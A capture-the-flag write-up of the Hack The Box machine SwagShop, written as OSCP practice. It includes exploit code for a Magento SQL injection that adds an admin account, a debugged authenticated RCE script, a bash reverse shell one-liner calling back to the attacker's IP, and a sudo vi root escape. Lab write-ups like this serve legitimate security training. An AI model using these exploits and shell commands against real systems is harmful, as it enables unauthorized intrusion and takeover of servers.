Hack The Box: SwagShop Write-up (#18)
This is my 18th box out of 42 boxes for OSCP preparation. I am doing my best learning and mastering the key skills for my upcoming OSCP exams by writing this series of blogs. Most of the write-up I get help from watching Ippsec’s YouTube videos and reading Rana Khalil’s write-ups. Please feel free to check them out. So let’s begin.
Reconnaissance
As usual, run a full TCP scan.
nmap -sC -sV -O -p- -oA nmap/full 10.10.10.140
- -sC: Default Nmap script
- -sV: Service/version info
- -O: Enable OS detection
- -oA: Output scan results in 3 different formats
- -p-: Scan all ports from 1–65535
We get the back the following result:
- Port 22: — Running SSH service, OpenSSH 7.2p2 Ubuntu 4ubuntu2.8
- Port 80: — Running HTTP service, Apache httpd 2.4.18 ((Ubuntu))
Nmap scan report for 10.10.10.140
Host is up (0.0083s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
| 256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_ 256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home page
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
...
For UDP scan, I scanned for top100 ports with “ — top-ports” flag because I already rooted this box while full UDP scan was still running.
nmap -sU -O --top-ports=100 -oA nmap/udp-top100 10.10.10.140
- -sU: UDP scan
We get back the following results.
Nmap scan report for 10.10.10.140
Host is up (0.0087s latency).
All 500 scanned ports on 10.10.10.140 are closed
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hopsOS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 2 02:35:30 2020 -- 1 IP address (1 host up) scanned in 724.88 seconds
No ports are open. Before we begin, let’s do quick mental notes.
- OpenSSH 7.2p2 does not have common vulnerabilities. So we don’t spend time on enumeration here.
- Port 80 likely our initial foothold to get into the target. We might need to brute force the directories and find version info of running web application.
Service Enumeration
Port 80 (HTTP Web Service)
Let’s visit the page.
A quick Google search about Magento reveals that Magento is an open-source e-commerce platform written in PHP. It uses multiple other PHP frameworks such as Laminas and Symfony. Based on the index page above, we can see the copyright year 2014. This info indicates when the web site last time gets updated. So take note of this.
While searching for a public exploit, I come across this GitHub page where you can use a tool called magescan that dumps Magento info from the browser you don’t have access to. Download the file to your Kali Linux.
Run the following command from the directory you downloaded the magescan file.
php magescan.phar scan:all 10.10.10.140
We get back the following results.
We have Magento version info. Next, we have path information.
Let’s access the path.
We have MySQL database credentials. Take note of this.
Let’s find searchsploit for exploits for Magento.
We have two possible exploits. One is authenticated remote code execution (37811.py) and the other is remote code execution (37977.py) which I believe not required authentication.
Exploitation
Let’s download exploit the one without authenticated.
root@kali:/htb/SwagShop# searchsploit -m 37977.py
Exploit: Magento eCommerce - Remote Code Execution
URL: https://www.exploit-db.com/exploits/37977
Path: /usr/share/exploitdb/exploits/xml/webapps/37977.py
File Type: ASCII text, with CRLF line terminatorsCopied to: /htb/SwagShop/37977.py
Let’s do a quick review of the code.
...
target = "http://target.com/"if not target.startswith("http"):
target = "http://" + targetif target.endswith("/"):
target = target[:-1]target_url = target + "/admin/Cms_Wysiwyg/directive/index/"q="""
SET @SALT = 'rp';
SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
"""
query = q.replace("\n", "").format(username="forme", password="forme")
pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)#e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is{{block type=Adminhtml/report_search_grid output=getCsvFile}}
r = requests.post(target_url,
data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
"filter": base64.b64encode(pfilter),
"forwarded": 1})
if r.ok:
print "WORKED"
print "Check {0}/admin with creds forme:forme".format(target)
else:
print "DID NOT WORK"
The exploit performs an SQL injection and creates a username forme and password forme with admin privilege. So for this to work, we only need to provide the correct URL. Let’s test the URL path if it exists.
It is. Update the exploit code as below.
Save the file and execute.
It successfully executed and created an admin user. Let’s login into the admin page with forme: forme credentials.
It works! But we get gibberish. Let’s access to /admin path.
We are authenticated as forme with admin privileges, we can try authenticated remote code execution exploit.
Download the exploit.
root@kali:/htb/SwagShop# searchsploit -m 37811.py
Exploit: Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution
URL: https://www.exploit-db.com/exploits/37811
Path: /usr/share/exploitdb/exploits/php/webapps/37811.py
File Type: Python script, ASCII text executable, with CRLF line terminatorsCopied to: /htb/SwagShop/37811.py
Do a quick review.
# Config.
username = ''
password = ''
php_function = 'system' # Note: we can only pass 1 argument to the function
install_date = 'Sat, 15 Nov 2014 20:27:57 +0000' # This needs to be the exact date from /app/etc/local.xml
...payload = base64.b64encode(payload)
gh = md5(payload + install_date).hexdigest()
We need to provide a username and password. We can use the forme: forme. Next, we need to change install_date value which can get from /app/etc/local.xml.
With the info, it creates the payload and hashes with md5. Then send it via an HTTP request. Let’s update the credentials and date.
Save and exit. Now set a Netcat listener in your Kali Linux.
root@kali:/htb/SwagShop# nc -nlvp 53
listening on [any] 53 ...
Run the exploit.
We got an error. After spending some time Googling for the error “AmbiguityError….”, then I found a solution from the stack overflow site.
We need to use and index parameter for selecting the form. Make the following changes to the code.
br.select_form(nr=0)
#br.form.new_control('text', 'login[username]', {'value': username}) # Had to manually add username control.
#br.form.fixup()
#br['login[username]'] = username
#br['login[password]'] = password
userone = br.find_control(name="login[username]", nr=0)
userone.value = username
pwdone = br.find_control(name="login[password]", nr=0)
pwdone.value = password
Run the exploit again. This time we get another error.
root@kali:/htb/SwagShop# python 37811.py http://10.10.10.140/index.php/admin "whoami"
Traceback (most recent call last):
File "37811.py", line 73, in <module>
tunnel = tunnel.group(1)
AttributeError: 'NoneType' object has no attribute 'group'
Let’s analyse the request using the Burp proxy. In this exploit script, proxy can be used by uncommenting line 47.
From the HTTP history tab, we can see the script makes 5 requests.
The last request it makes before it throws the error is shown below.
Notice that the script makes POST request with period 7 days (7d) which returned “No Data Found”.
Let’s go back to the error line 73.
71 request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
72 tunnel = re.search("src=\"(.*)\?ga=", request.read())
73 tunnel = tunnel.group(1)
line 73, it uses a value that gets from line 72, which performs regular expression for the request value obtained from line 71 and get a value for ga=. Since line 73 did not get data it expects, it returns NoneType.
If we check this POST request in the browser, it will give options to select period.
I tried to change the available periods from the browser, it did not go through. So I tried from the Burp repeater for all the values, all returned the same except for 2y option, it returned a data.
Let’s review the data.
<img src="http://10.10.10.140/index.php/admin/dashboard/tunnel/key/2ba9f01390f0807c249524afe835b0c6/?ga=YTo5OntzOjM6ImNodCI7czoyOiJsYyI7czozOiJjaGYiO3M6Mzk6ImJnLHMsZjRmNGY0fGMsbGcsOTAsZmZmZmZmLDAuMSxlZGVkZWQsMCI7czozOiJjaG0iO3M6MTQ6IkIsZjRkNGIyLDAsMCwwIjtzOjQ6ImNoY28iO3M6NjoiZGI0ODE0IjtzOjM6ImNoZCI7czozODoiZTpBQUFBQUFxcUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiO3M6NDoiY2h4dCI7czozOiJ4LHkiO3M6NDoiY2h4bCI7czo3MzoiMDp8fHwwMy8yMDE5fHx8MDgvMjAxOXx8fDExLzIwMTl8fHwwMi8yMDIwfHx8MDUvMjAyMHx8fDA4LzIwMjB8MTp8MHwxfDJ8MyI7czozOiJjaHMiO3M6NzoiNTg3eDMwMCI7czozOiJjaGciO3M6MzU6IjUuODgyMzUyOTQxMTc2NSwzMy4zMzMzMzMzMzMzMzMsMSwwIjt9&h=1b45d9c42fbabed67ce0224bacb4928f" alt="chart" title="chart" />
The URL has ga= value which we found in the exploit line 72, it performs regular expression to obtain this value but it couldn’t find it. Now, let’s change the value to 2y in the code.
request = br.open(url + 'block/tab_orders/period/2y/?isAjax=true', data='isAjax=false&form_key=' + key)
Save and exit. Run the code again.
root@kali:/htb/SwagShop# python 37811.py http://10.10.10.140/index.php/admin "whoami"
www-data
We have command execution! Let’s change the payload to reverse shell. Set a Netcat listener in your Kali Linux.
root@kali:/htb/SwagShop# nc -nlvp 53
listening on [any] 53 ...
Run the exploit.
python 37811.py http://10.10.10.140/index.php/admin "bash -c 'bash -i >& /dev/tcp/10.10.14.19/53 0>&1'"
We have a reverse shell connected as www-data. Let’s upgrade the shell to a fully interactive shell.
python3 -c 'import pty;pty.spawn("/bin/bash")'
Then press CTRL+Z in your keyboard. After that type the following command.
stty raw -echo;fg
And press Enter key twice. Next, we set the env variable TERM to xterm that helps to clear the screen with the following command.
export TERM=xterm
Press enter. Let’s move to post-enumeration.
Post-Exploitation Enumeration
Let’s find the user.txt file.
www-data@swagshop:/var/www/html$ find / -name user.txt -type f 2>/dev/null
/home/haris/user.txt
www-data@swagshop:/var/www/html$ ls -ltrh /home/haris/user.txt
-rw-r--r-- 1 haris haris 33 May 8 2019 /home/haris/user.txt
We have read permission for user.txt file. Let’s grab the user flag.
Now check the user’s sudo privilege.
www-data@swagshop:/var$ sudo -l
Matching Defaults entries for www-data on swagshop:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser www-data may run the following commands on swagshop:
(root) NOPASSWD: /usr/bin/vi /var/www/html/*
www-data@swagshop:/var$ sudo vi /var/www/html/test.txt
www-data account can use vi with sudo privilege to edit a file under /var/www/html/ directory. We can turn this sudo misconfiguration into a root shell.
Privilege Escalation
With sudo privilege edit a test file.
sudo vi /var/www/html/test.txt
Once you are in the editor mode, press semicolon (:), then the follow by !/bin/bash.
And press enter.
We are rooted! Grab the root flag.
Attack Strategy Map
I have summarized the entire attack strategy on this map.
Thank you for reading :-) Next box is Networked.